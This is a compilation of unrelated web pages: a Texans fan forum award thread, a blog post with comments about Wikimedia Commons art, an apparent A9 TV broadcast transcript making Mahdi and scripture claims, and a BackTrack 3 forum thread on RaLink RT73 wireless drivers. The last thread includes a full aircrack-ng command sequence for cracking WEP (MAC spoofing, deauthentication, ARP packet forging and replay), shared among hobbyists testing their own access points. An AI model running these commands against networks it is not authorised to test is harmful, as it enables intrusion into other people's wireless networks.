When talking about LORK, the breadth and depth of his contributions to our community and the website in general is staggering. His signatures and avatars are the badges by which we identify ourselves with our favorite team and more importantly each other. Serving as GM during FFMD I 09, I'd have been completely lost without LORK giving me patient input, fielding inquiries from other posters, and being ever-willing to give reasonable, sound advice. His understanding of the team and of football in general is admirable, and his good-natured and friendly attitude make him an extremely likable poster. On the short list of guys who define everything Texans Nation is at its best, LORK takes the cake.
goose85 wrote:
Id like to say Lork was one of the originals. Back then it was basically 3 or 4 of us talking Texans football with very little organization. The only reason we grew was because of great posts and insight and I don't think anybody on this forum did or well does like Lork. I've been a mod for 3 years of up and downs and Lork was probably the first I could truly rely on. There is not one other poster I respect more on this forum than Lork and Id like to thank him for everything he has done.
EliteTexan80 wrote:
When I first joined this site, there were a scant few Texans who were on this site. You had some, but not nearly as many as we boast today. However, despite the small numbers, there was one poster who was always on top of the Texans moves...somebody who would share inside information on collegiate players...and somebody who nailed the gameday analysis week-in and week-out.
That member's name...is LORK.
Since then, our numbers have grown by leaps and bound...and while each one of us brings in a new and fresh take on who the Texans are, the one constant in this part of the world is that LORK is amongst the best in tersm of knowledge and ability to share the information he has. He has been a sorce of information, a formidable foe in a debate as well as a loyal and fierce member who will stand up for the team that we hold near and dear to our hearts.
LORK, you have been one of the cornerstones of this forum, and I can honestly say that your presence here makes everyone that much better. The knowledge that you have teamed with the demeanor that you carry in sharing this information makes all the members of TEXANS NATION better...and your sigs ensure that we look GOOD when posting in various areas.
(...speaking of which, I'm gonna need some help with my Ari Gold sig...)
LORK...this "Lifetime Achievement Award" is well deserved and I cannot think of anyone better to get it. You have been a friend to us all, a bastion of information and a defender against the goofs we've encountered over the years (
JOHNNY TEXAN, T-Bro, gatorboy5
...you know the roster...)
Thank you LORK, for making this forum the greatest forum on the World Wide Web, and thank you for cheering for the great TEXANS NATION.
PRESIDENT and CEO
amazingandre wrote:
Thanks LORK for all you contribute to the forum. From your insightful posts to your great sig work you are a vital part of TexansNation. Heres to many years rooting on our favorite team side by side!!!!!
Blaze wrote:
I can give you more than a few sentences about Lork but ill some it up. Lork is arguably one of the most recognizable posters on this posters. Honestly, he is one of the maybe 3 posters that when they post, i make sure to read and comprehend what they are saying. His knowledge of football is second to none. I just have to look past the fact he is a Tech fan.
Jacobys Homey wrote:
Lork, you're one of the few members that when I see you post, I make time to read it. Whether it's funny, serious, or totally proving some troll fan wrong, there is nothing like a Lork post. I thank you for all you've done for this site, and there aren't gonna be many that come around like you.
P.S. You make my sigs all pretty too =P
Thanks again Lork for all that you do. Your buddy Keato made you a sig a while back so here it is:
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You're going to at least post one today, right?
davidpalmer714 wrote:
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Thank you for doing this, I've just been so busy...
Your story about the 2 mil is actually pretty funny. I had to run it a few weeks back, and it was terrible. But it didn't take me 16 minutes
All that is gold does not glitter,
Not all those who wander are lost;
The old that is strong does not wither,
Deep roots are not reached by the frost
Tiger got to sleep, bird got to land;
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Looking forward to this, although im new here everyone is really cool so be interesting to see who wins what
DallasInHeart wrote:
if you lived in Europe or ever gone to visit Europe
you would know that over there Football is totally on a different level
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kenney wrote:
You're going to at least post one today, right?
Will two be ok right now..
(I will be doing 2 at a time)
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Dangerous59 wrote:
kenney wrote:
You're going to at least post one today, right?
Will two be ok right now..
(I will be doing 2 at a time)
No. I demand you only do one.
EDIT: Congrats to Blaze and mse326, two of the best posters on the site. It's a real privilege to be able to talk to you guys and have your input on our beloved team. You both deserve these awards.
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CAS22 wrote:
Congrats Blaze and MSE. Now you can take off that UH sig and give it a break. Lol jk
Andre Johnson stat tracker: 90 Rec 1,433 Yds 8 TD
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Oh my god, this is so unexpected. I didn't prepare a speach but thankfully my mom was prepared for such an occasion.
"I'd like to thank my beautiful, funny, beautiful, sweet, beautiful, caring, beautiful, supporting, and beautiful mother"
And apparently that is all she thought was important so I'm winging it from here.
Honestly, thanks guys it is a real honor. It's been pleasure to come here over the past year + and talk Texans and football in general with some very knowledgable posters. Looking forward for this next year to be just as fun while being able to support our first playoff squad in team history.
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I thought I would go ahead and post this, this is
Texans Fan's
write up for mse's award.
The Eric Winston award is presented to mse326.
The Eric Winston award is voted upon for the most under-rated of posters. Mse326 has never been shy to state his opinions in any threads, with Texans fans or in the general forums. What sets him apart is his ability to engage in these discussions without waging personal attacks on his counter-parts. His overall knowledge of the game, and of the Texans, is appreciated by those whom he is commenting with. This means that, while his opinion is always appreciated, he often falls under the radar when discussions of the most knowledgeable posters are tossed around. He has been a wonderful addition to the Texans forum, and footballsfuture, overall.
Mse326 has been with the Texans forum for only the past year, and has made enough of an impact to be voted this award by his fellow posters. While not as flashy or outspoken as some of the other posters on the board, mse326 is an invaluable member of the forum and more than deserving of the award.
Congratulations to mse326 for being voted as the Eric Winston award recipient from the Texans Nation forum.
Great job to both of you, Blaze and mse.
All that is gold does not glitter,
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The old that is strong does not wither,
Deep roots are not reached by the frost
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Tuesday, December 11, 2012
Where My Blog Art Comes From
When I decided to start adding art to posts, it was originally because I wanted to be blog- and Facebook-friendly (thumbnails!) while using stuff that is totally in the public domain. Since then I've been getting a lot of questions about where it all comes from.
Pretty much one place: Wikimedia Commons.
It's a treasure trove of basically everything amazing that has ever been painted. Warning: Clicking around and going hunting for art can result in many lost afternoons.
There you have it!
Art: Train in the Snow by Claude Monet
21 comments:
- David said...
It's a great site.
- December 11, 2012 at 12:12 PM
- D.G. Hudson said...
Monet is one of my favourite artists. Adding photos to your posts make them more open, break up the text and give us a visual to look at. Easy on the eyes.
I like your choices, which seems to weigh heavier on the Dutch side of painting at times. Since that snafu with the blogger being charged at using a photom, I've use Public Domain photos only, along with my own.
Do keep adding photos, it's one of the first things I noticed when I first followed your blog.
- December 11, 2012 at 12:17 PM
- Julie Luek said...
Good to know about. Thanks, Nathan.
- December 11, 2012 at 12:27 PM
- Joanne Huspek said...
Oh, no... another place on the Internets to waste time. :-) I will admit, it's cooler than Google images.
- December 11, 2012 at 12:56 PM
- Jaimie said...
THANK YOU. I feel like I should have known about this, but I didn't, and I will definitely be using it. Thanks, Nathan; you're a rockstar.
- December 11, 2012 at 1:30 PM
- Spike said...
Thanks Nathan!
Please contact me at 12 midnight and retreive me from the matrix. I may not come willingly.
- December 11, 2012 at 1:38 PM
- Philip Heckman said...
Even though material in the Commons may be "freely reused," it might come with some obligations or requirements. Users would do well to consult this page first:
- December 11, 2012 at 3:30 PM
- All Adither said...
God, that train scene is evocative. Gives me the shivers.
- December 11, 2012 at 4:17 PM
- Debbie Weil said...
Nathan, thank you so much for telling us about this. What a treasure trove. I LOVE the images of paintings.
- December 11, 2012 at 6:53 PM
- Kristi Helvig said...
You have no idea how long I've been looking for a site like that. Thanks so much for sharing it!
- December 11, 2012 at 7:02 PM
- Myrna Foster said...
Thank you!
- December 11, 2012 at 8:20 PM
- Karen A. Chase said...
I love Wikimedia Commons! I used them to make book covers for a sample series I did on Public Domain books and book trailers. http://224pages.com
I also used images they had of Lucille Ball for a blog post I did on why branding is important to authors. It got a lot of laughs. http://www.karenachase.com/2012/11/lucy-inside-and-out/
- December 11, 2012 at 9:00 PM
- sri said...
I have been wondering for long.
Thanks for the info.
- December 11, 2012 at 10:30 PM
- Playstead said...
This is great, thanks for posting this. Been blogging for years and had no idea ...
- December 12, 2012 at 2:25 AM
- Sheila Cull said...
"Stuff that is totally in the public domain." Then it's safe, yeah, I copied the link.
Albeit, Bransford, YOU were responsible for my stealing sandwiches (bandwith?) paranoia.
Thanks for this awesome tip.
Sheila Cull
- December 12, 2012 at 4:00 AM
I use wiki commons and a few others that are public domain...or places that I know are free and safe to use without getting sued.
But all bloggers, please vet all photos before you post them. The rule is that if you aren't sure then just don't post it. If you have any photos up you aren't sure about, take them down. There is no law that states anyone has to send you a take down notice first. They can sue at any time.
I love your photos, Nathan. Always tasteful!!
- December 12, 2012 at 12:38 PM
- Kristin Laughtin said...
As a librarian who often has to deal with issues of copyright and fair use, I'm always glad to see you use public domain or open use pictures!
- December 12, 2012 at 2:13 PM
- Amy Joy said...
Very cool. Thanks so much for sharing it! I'm passing the word along to other writers!
- December 12, 2012 at 6:22 PM
- Craig said...
Awesome tip. I never knew about this site. Thanks so much.
- December 13, 2012 at 12:09 PM
- Khara House said...
I used to use Wikimedia Commons a lot for articles, and still recommend it as a source for essay and presentation images to my current and former students. I agree with some other posters, though, that it's important to pay really close attention to both the provided copyright information and the sources of the image. In at least a few cases with students, for example, they found images that were listed in the public domain by the poster, but they were derivations of other pieces that weren't. It's super important to check the details and origins of work to make sure it's really, really, really okay to use!
- December 13, 2012 at 1:38 PM
- Sarah Hipple said...
That is wonderful. I love the art on your posts. I use the creative commons searches (typically through Flickr) myself, but I do love the paintings I get to see through your site.
- December 22, 2012 at 1:54 PM


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A9 TV, 29 February 2012
(Regarding a statement issued by Oliver Stone's son, Sean Stone, about his becoming a Muslim, saying: "My conversion to Islam is not abandoning Christianity or Judaism, which I was born with. It means I have accepted Mohammad and other prophets. I believe that 2012 will be a time of a great spiritual awakening, and that insha'Allah we will be in the same lines as the Mahdi, who will illuminate the world, and that we can join the army of the Mahdi")
So he must be following us very closely, masha'Allah. Amazing. I have a surprise about this nice person. He must be watching us very closely, insha'Allah. I have just heard this, I learned about it yesterday evening. He really likes us, masha'Allah. Well done to him.
Anger is very easy. Unpleasant words are easy. They make people ugly and darken their souls. They first darken the people who speak them. If you notice, people who speak badly also become very ugly. Allah puts an end to their joy and takes away their health. They either have something wrong with their hearts, or their brains or something. This also happens with Muslims. Of course, but it is more common among them, insha'Allah. But having a pleasant nature keeps people young and makes them attractive. One has to be warm and good natured.
(In response to a view who requested a clarification of verse 31 of Surat an-Nur)
Say to the believing women that they should lower their eyes and guard their private parts and not display their adornments – except for what normally shows – and draw their coverings across their breasts. They should only display their adornments to their husbands or their fathers or their husbands' fathers, or their sons or their husbands' sons or their brothers or their brothers' sons or their sisters' sons or other women or those they own as slaves or their male attendants who have no sexual desire or children who still have no awareness of women's private parts. Nor should they stamp their feet so that their hidden ornaments are known. Turn to Allah every one of you, believers, so that hopefully you will have success. (Surat an-Nur, 31)
"Say to the believing women that they should lower their eyes and guard their private parts... and draw their coverings across their breasts." They must pull their coverings over their breasts so as to cover them up. In other words, their breasts must be covered up, and they must not show them to people outside. The people to whom they may show their adornments are; "their husbands or their fathers or their husbands' fathers, or their sons or their husbands' sons or their brothers or their brothers' sons or their sisters' sons or other women or those they own as slaves or their male attendants who have no sexual desire or children who still have no awareness of women's private parts." "Nor should they stamp their feet so that their hidden ornaments are known. Turn to Allah every one of you, believers, so that hopefully you will have success." What is Almighty Allah saying? "they should not display their adornments – except for what normally shows..." They must pull their coverings across their breasts, in such a way as to cover them up. But Almighty Allah says it is permissible to reveal them before their husbands or fathers. Yet the Qur'an says this, Allah says it. But these idiots say that out of a bigoted mindset. Look, Allah explicitly sets the commandment out, but they reject and deny it. She can reveal her adornments to her husband. And to whom else? They can show them to their husbands, and to whom else? "or their fathers or their husbands' fathers, or their sons or their husbands' sons or their brothers or their brothers' sons or their sisters' sons or other women or those they own as slaves or their male attendants who have no sexual desire or children who still have no awareness of women's private parts." Allah says in the verse that they may reveal their adornments to these, but not to strangers. Allah lists fathers, sons and relatives separately and says that women should not reveal their private parts apart from these people and children. But what do the bigots say? "Unacceptable," they say. Allah says something, but the bigots reject it. "Nor should they stamp their feet so that their hidden ornaments are known. Turn to Allah every one of you, believers, so that hopefully you will have success."
Omer Nasuhi Bilmen hodja interprets verse 31 as follows: "apart from their hands and their faces, they must not reveal those parts of their bodies that should not be exposed, neither to strangers nor in prayer." They must not show them to people in the street. "but they can show them to people to whom it is permitted for them to reveal them." This is what Allah says in the verse. He says there are people they are permitted to reveal them to, and they can show them to them. But the bigot says they must not reveal them to them, either. How idiotic! Allah says they may reveal them. But the bigots say they may not! "they may show them to their husbands, or to their own fathers, or to their parents' fathers, their grandfathers, or to their husbands' fathers, or to their own children and grandchildren or to their husbands' children and grandchildren or to their stepchildren and grandchildren, or to their own brothers or their brothers' children, or to the sons of their sisters, and to their sons." Who says this? Omer Nasuhi Bilmen. I just relate it, and the bigots go crazy. "Such permission is granted to them since there is little chance of corruption arising when they meet openly, and it is also permissible to be seen by maternal and paternal uncles." Ömer Nasuhi Bilmen says this. "If that slave is very old or if an elderly servant's male parts have been severed so he has no more need of women, then they can be shown to them," he says. "Or women can also expose their private parts to children who have not yet reached the age of sexual desire," he says. "It is permissible to expose them to these people, but they must not expose the parts from the stomach to the knee caps to any other than their husbands," he says. She can only expose the area from the knee caps to the stomach to her husband. But in the Maliki school it is not as far as the knee cap, it is enough to cover the private parts. Here he writes, "In the Maliki school, both male and female private parts are described as 'secret and private.' For a man, it is enough to cover the private parts, the sexual organ and private parts of the body, that area covered by shorts, from the front and rear, and that is enough, in the Maliki school. That is regarded as covering them up in the Maliki school, but that area definitely must be covered. That is what I have to say. Now, Allah says in this verse of Surat an-Nur that they can walk around like that at home. The verse does not say to avoid your father or brother in that state. She can embrace her father, kiss him, ask how he is and embrace him. That is Allah's commandment. No immorality or perversion or wrongdoing would ever occur to a Muslim, since he fears Allah.
The Islamic scholars clarify it so there should be no misunderstanding, "like a man exposing his parts to another man." The verse says the woman can behave freely alongside the people listed therein. "In the Hanafi and Sha'afi schools, the man's private area is between the stomach and the knees. In the Hanbali school this is not private. The private area is only the sexual parts." In other words, as I have said, the sexual organ and rear that can be covered with shorts. "In the Hanbali school, the private parts are only the front and rear. "Maliki agrees with the Hanbali school." In other words, it regards short briefs as sufficient, but Hanafi and Sha'afi require a longer covering. Very short briefs are sufficient in the Hanbali school. This is also the view of the Department for Religious Affairs, as well as the view taken in Hamdi Yazır of Elmalı and other commentaries.
The way I describe Islam is one the whole world can accept. Nobody will refuse to sign up to the conception of Islam I describe. That is the spirit of the way of the Mahdi. But nobody can agree to the kind of Islam the fanatics talk about. And if they do, they will be made wretched, because Allah will bring it down. That is why the Ottoman Empire was brought down. Because it is a system that inflicts troubles. No music, no art, no fun, no laughing, no love. No nice homes, no fine cars…
Almighty Allah refers to the fanatic mindset in Surah 18, in reference to Dhu'lQarnayn. Global reign after Hazrat Khidr (pbuh).
Surat al-Kahf, 93
I seek refuge from the accursed satan,
"until he arrived between the two mountains" What are the two mountains. One is the communist, Darwinist system. The other is bigotry. The twin horns of satan. "where he found a people scarcely able to understand speech."
You can talk to bigots all you like, but they will never understand. Darwinists and materialists will never understand, either. Both are deaf to reason. Verse 93 indicates this, insha'Allah. Gog and Magog, in other words. One is the bigots, and the other Darwinists and materialists. "They are causing corruption in the land." They produce bigots and anarchy and terror and communists. The two that shed blood. "Can we, therefore, pay tribute to you in return for your constructing a barrier between us and them?' He said, 'The power my Lord has granted me is better than that. Just give me a strong helping hand and I will build a solid barrier between you and them'."
What I am doing is what Dhu'lQarnayn does. I am building a barrier. They imagined they had got rid of Muslims in all ways. They imagined they had taken us over entirely. Because they had taken away art and science and entertainment. They have taken away human beauty and goodness. They have placed being a Muslim under siege. They have tried to turn it into a dead system. The evangelicals and CIA are desperately keen to see that system grow. There has to be a dead and frozen system if Islam is not to reign across the world. Under the bigot system, it is any case impossible to live outside a ghetto. Because everything is forbidden. No rational person would sign up to killing and slaughter. But I have put a stop to that stratagem.
Verse 13 of Surat al-Hashr. There are many references to the End Times. What does the figurative aspect of this verse have to say about the sufferings of the way of the antichrist in our campaign in particular, and about its sensational impact?
"You are a greater cause of terror in their breasts than Allah!" says Allah. In other words, He says they are unaffected by Allah, but hugely affected by you. "That is because they are people who do not understand." He says, that instead of being terrified by Allah, they are terrified of you. And there is a real climate of terror among the bigots at the moment.
(In response to a viewer who says, "I cannot understand your message.")
They must regard Islam as a religion of joy. You regard it as a religion of the grave. When must one read the Qur'an? When someone has died. You call the imam out and he recites it in a loud voice. That is when you listen to the Qur'an. The imam never smiles. There is a cold atmosphere in the house, and the imam arrives to wash the body. He prays beside the grave and reads from the Qur'an. That is what the faith means for you and the imam. But for me, Islam means life itself. You conceived of Islam as a religion of the grave. But I have shown it is life itself.
They teach fear of Allah wrongly. Fear of Allah is a vehicle for joy. It is a source of love and passion, fear of Allah.
(Passages about Hazrat Mahdi (pbuh) in the Torah)
Jewish sources say the Mahdi (pbuh) will appear from Istanbul. Judaic sources dating back 3000 years. "Just as Moses, after revealing himself to his brethren in Egypt and announcing them to that deliverance was near" after making his presence felt and saying that the reign of Islam was nigh, "was forced to go into hiding for a time,…" The Mahdi (pbuh) will remain hidden. His time of seclusion is being described. "so also will Messiah be forced to hide himself after the first revelations." He will remain hidden. Our Prophet (pbuh) also says, "The Mahdi (pbuh) will remain hidden." It is the same, do you see? (Numbers Rabbah, Chap. II; Song of Songs Rabbah, (2:9); Pesikta Rabbathi, Chap. 36)
Song of Songs 2/9. "Just as Moses was raised in the House of Pharaoh in Egypt," It will happen in Istanbul. Where there are Darwinists and materialists. It says it will be in Istanbul. "Both had to appear and then hide." He will closely resemble the Prophet Moses (pbuh). In the hadiths, our Prophet (pbuh) says he will resemble the Prophet Moses (pbuh) in that respect. "He will remain concealed like the Prophet Moses (pbuh)," he says in a hadith. Look, a book dating back 3000 years says the Prophet Moses (pbuh) will be concealed, insha'Allah. "To be sure, the "light of the Messiah" which is to shine wondrously into the world, is not always seen as breaking in with complete suddenness;" It says he will not appear all at once, the Mahdi (pbuh). "it may become visible by gradations and stages..." He will appear gradually, it says. "It is told of Rabbi Hiyya and Rabbi Simeon that they walked in the valley of Arbela early in the morning and saw the dawn breaking on the horizon. Thereupon Rabbi Hiyya said: So too is Israel's redemption [through King Messiah]; at first it will be only very slightly visible, then it will shine forth more brightly and only afterwards will it break forth in all of its glory." What does Bediüzzaman say? "Even if there is a false dawn, the true dawn will appear in 30-40 years' time." The Sun will appear, he says. What does it say here? There will be a false dawn first. The first rays of the Sun will be seen, then will com the true dawn, the Sun. The Torah says what Bediüzzaman said 3000 years later. The same. "Just as Moses was raised in the House of Pharaoh in Egypt, so the Messiah will be in Rome. Both had to appear and then hide.
In the same way that Moses (pbuh) was raised in the house of Pharaoh, among the enemies of his own people, the Messiah (pbuh) will grow up in the city of Rome, in Istanbul." In other words, somewhere in which people live by Darwinism and materialism. He will strive against Darwinism and materialist belief.
Istanbul is the place of saintly figures, but also one of dajjals. The Torah notes this fact. Look, a blessed individual such as the Mahdi (pbuh) is there, but there are also people like satan there, the supporters of the antichrist. "Ben Levi meets the Prophet Elias and asks, 'Where can I find Moshe, the Mahdi (pbuh)?' Elias replies, 'go to the gate of Rome, of Istanbul'." Masha'Allah, Topkapı. Istanbul has a number of gates. "You will find him there." You will find him in Istanbul, he says. How many years ago? Three thousand years.
(In response to a viewer asking about how to preach in bars and discos)
You need to dress like them and talk easily like them. But if you turn up all covered up – a lady for instance – that is equivalent to saying you want to make everyone like you. "I will have you dressing like his," it means. That will panic them. They will feel themselves under psychological pressure. If you go there wearing a beard and a skullcap, you are saying "I will have you looking like me, and that is the true course," right from the outset. You will produce a prejudice against you. Nobody will come near you. But if you dress like them, they will talk to you and establish bonds. That is pretty obvious.2012-04-16 10:59:02


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BT3 final has a few minor issues with our driver that are fairly easy to circumvent and I wanted to share my solutions here. This is a collection of notes and ideas I have put together from my time here and first and foremost I want to thank the community because everything I'm putting here I found from various posts in these very forums.
I would also like to ask you to please remember this is a howto for the RaLink RT73 USB Enhanced Driver. Please keep the discussion in this post relevant and don't ask for support for mundane BT3 tasks.
Now lets begin. Its a good idea to grab a couple things before we get started. The first thing you need to do is get the BT3 kernel sources (thank you shamanvirtuel for delivering me from my noobedness)
and after that you will need the previous version of the aspj driver. (SV yet again infinitely wise)
After you have what you need and you are in BT you can bring down your current interface and driver with
Then you wanna navigate to your folder with the kernel.lzm and typeCode:ifconfig rausb0 down modprobe -r rt73
afterward you can go the the driver folder andCode:lzm2dir kernel.lzm /
now you can bring up the driver and interface withCode:make make install
At this point your wireless card is ready to be put to good use. Iwpriv commands and SpoonWep will now work gloriously! If you are looking to crack wep/wpa with our card use SpoonWep or look here for a tutorial on how do do it with the terminal, if you are looking to connect to a wep encrypted AP use wireless assistant, and if you are trying to connect to wpa/wpa2 use these commands.Code:modprobe rt73 ifconfig rausb0 up
This has worked very well for me and I hope it works for you to. Good luck.Code:ifconfig rausb0 up iwconfig rausb0 mode managed iwconfig rausb0 essid <Your SSID> iwpriv rausb0 set AuthMode=WPAPSK (or WPA2PSK if you are using WPA2) *WPA2PSK is for this line only iwpriv rausb0 set WPAPSK=<Your Key> iwpriv rausb0 set EncrypType=TKIP (or AES) dhcpcd rausb0
I too have the Edimax EW-7318USg and just like the OP said, it doesn't work out of the box. I also had to modprobe the adapter for it to work.
I doesn't bother me now, but out of curiosity can any of the dev's explain the reason why the card doesn't work for BT3 Final? It works on BT3beta out of the box.
My problem is that I can't get the Edimax EW-7318USg to inject with BT3. I had no problem with BT2 and have searched this forum but most of what I find suggests that it sould work out of the box or try:-
iwpriv rausb0 rfmontx 1
iwpriv rausb0 forceprism 1
iwconfig rausb0 mode monitor
Done this but when I try 'aireplay-ng -9 rausb0' against my AP it is a 100% failure, any suggestions would be appreciated.
Code:$ airmon-ng stop rausb0 $ ifconfig rausb0 down $ macchanger --mac 00:11:22:33:44:55 rausb0 $ airmon-ng start rausb0 $ airodump-ng rausb0 find the bssid copy the bssid $ airodump-ng -c 1 -w output --bssid <bssid> rausb0 $ aireplay -1 0 -a paste -h 00:11:22:33:44:55 rausb0 $ aireplay-ng -0 5 -a <bssid> rausb0 $ aireplay-ng -4 -b <bssid> -h 00:11:22:33:44:55 rausb0 answer yes and wait $ packetforge-ng --arp -a <bssid> -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y filename.xor -w arprequest $ aireplay-ng -2 -r arprequest rausb0 say yes $ aircrack-ng output-01.cap
speed999, The aircrack wiki for our driver (found here ) Says to try
good luck.Code:iwconfig rausb0 rate 1M
airodump-ng --ivs --channel 11 --bssid <bssid> -w capturefile rausb0
aireplay-ng -1 0 -e <essid> -a <bssid> -h <edimax> rausb0
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <bssid> -h <edimax> rausb0
aircrack-ng -b <bssid> capturefile*.ivs
I only get to attempting the fake authentication and it fails! No problem with the same attack using BT2.
Tried iwconfig rausb0 rate 1M
The fake authentication worked but 'aireplay-ng -4 -b <bssid> -h 00:11:22:33:44:55 rausb0' failed 'the access point does not properly discard frames with an invalid ICV.....'
When I used:-
airodump-ng --ivs --channel 11 --bssid <bssid> -w capturefile rausb0
aireplay-ng -1 0 -e <essid> -a <bssid> -h <edimax> rausb0
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <bssid> -h <edimax> rausb0
Brilliant and thanks it works!
As the attack I have used works on BT2, I dont think I would have made the link between the Aircrack wiki and BT3 without your help. My knowledge of Unix is almost zero so could I ask another question. The pps looks a bit slow compared with BT2 so if I try increasing the rate from 1M what do you recommend the increments should be?
Thanks again for everyones help
Then increase it by 1dBi each time:Code:iwconfig rausb0 txpower 10
Lucky for you anyway! All day I have been trying to inject my AP with my Edimax and I can't! LOL!Code:iwconfig rausb0 txpower 11
It gets worse, Back|Track does recognize my card, but I tried a LOT of tricks and it was a hit and miss. It took me nearly 3 hours to connect to my AP as the card didn't see any AP's at all! Then when I set my card into monitor mode to test out the funny EzPWN toolset just for a laugh...it didn't see any APs!
I exited EzPWN and loaded airodump-ng, it seen the APs. Then I stopped airodump-ng in order to define my AP in airodump and start injecting...nothing, it didn't even see any AP's. I can not connect to the internet on BackTrack unless I load it, restart it, load it and restart it again. Its very frustrating because it was working perfectly for a while and now I have to hold off my BASE/Snort/With_Graphs tutorial as Im in Windows as its the only way I can connect to my AP.
Incase anyone is wondering, yes I do have a built in Atheros but I am not in my computer room today and the ath0 is crap from my shed. Any help from anyone on this mysterious rt73 problem would be appreciated.
Okay, I am still in Windows [only way to surf at the moment] and I found this on the Aircrack-ng site:
I am going to look into this as soon as I boot back into BT3fThe instructions below reference an older version of the drivers then is available on ASPj's site. This is because the newer version contains some bugs. See the forum threads for details.
I am having strange issues with my card as well. Fortunately I have an intel pro wireless one a laptop so I have been using that to play around on.
First, with my Edimax 7318 I can crack wep/wpa just fine in command line but I still have had absolutely zero success with SV's SpoonWep(works just fine on laptop with other card). SV had asked me to try installing the rt73-k2wrlz-2.0.1. driver but I have yet to try it.
Second, No matter what I try, I cannot connect to my AP with WPA2 encryption.
My previous working method for connecting with my card in BT is no longer working(see code below) and wireless assistant is fail.
My next step is to try the previous aspj driver,drop my encryption to wep, and see if I can connect/scan/exploit ok.Code:ifconfig rausb0 up iwconfig rausb0 mode managed iwconfig rausb0 essid <Your SSID> iwpriv rausb0 set AuthMode=WPAPSK (or WPA2PSK if you are using WPA2) iwpriv rausb0 set WPAPSK=<Your Key> iwpriv rausb0 set EncrypType=TKIP (or AES) dhcpcd rausb0
Please post your solutions Denv and I will post any I find as well. Thanks.